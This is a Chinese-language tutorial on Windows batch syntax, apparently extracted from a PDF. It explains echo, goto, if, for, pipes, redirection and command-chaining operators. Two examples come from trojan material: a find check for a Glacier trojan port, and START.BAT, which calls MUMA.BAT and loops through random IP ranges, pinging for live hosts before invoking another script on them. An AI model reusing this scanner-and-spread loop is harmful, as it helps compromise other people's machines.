1.@
它的作用是让执行窗口中不显示它后面这一行的命令本身
@echo off 的作用就是让脚本在执行时不显示 后面的echo off
2.echo
回显,它其实是一个开关命令,就是说它只有同种状态;打开和关闭
echo on 和 echo off 将回显关闭,它后面的命令都不显示命令本身,只显示执行后的结果,除非执行echo on
3.::
这个是注释命令,在批处理脚本中和rem命令等效。它后面内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了的可读性
4.pause
它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续...
5.:和goto
goto是个跳转命令;
:是一个标签。
6.%
它只是批处理中的参数而已
7.if
IF [NOT ] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8.call
命令用来 从一个批处理脚本中调用另一个批处理脚本。
9.find
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
如果不使用type 命
令列出a.txt 中的内容,而是直接使用find 命令在a.txt “ 中找 7626”(find a.txt "7626" && echo
"Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt 的绝对路径
10.for、set、shift
要在批处理程序中使用 for 命令,请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for ,请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
21
代表可替换的参数
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关
。
START.BAT :
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET
NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL
NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
11.|
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个
一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回
DOS。
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more 来共同达到目的
的。这里先简单介绍一下help 命令和more 命令,对理解| 命令的用法有很大帮助
help | more
12.>、>>
>会清除掉原有文件中的内容把新的内容定稿到原文件
>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。
13.&
它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。
14.&&
与&命令不同之处在于,它在从前往后执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。
dir c:\ && dir d:\ > a.txt
就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看
成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高
15.||
当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。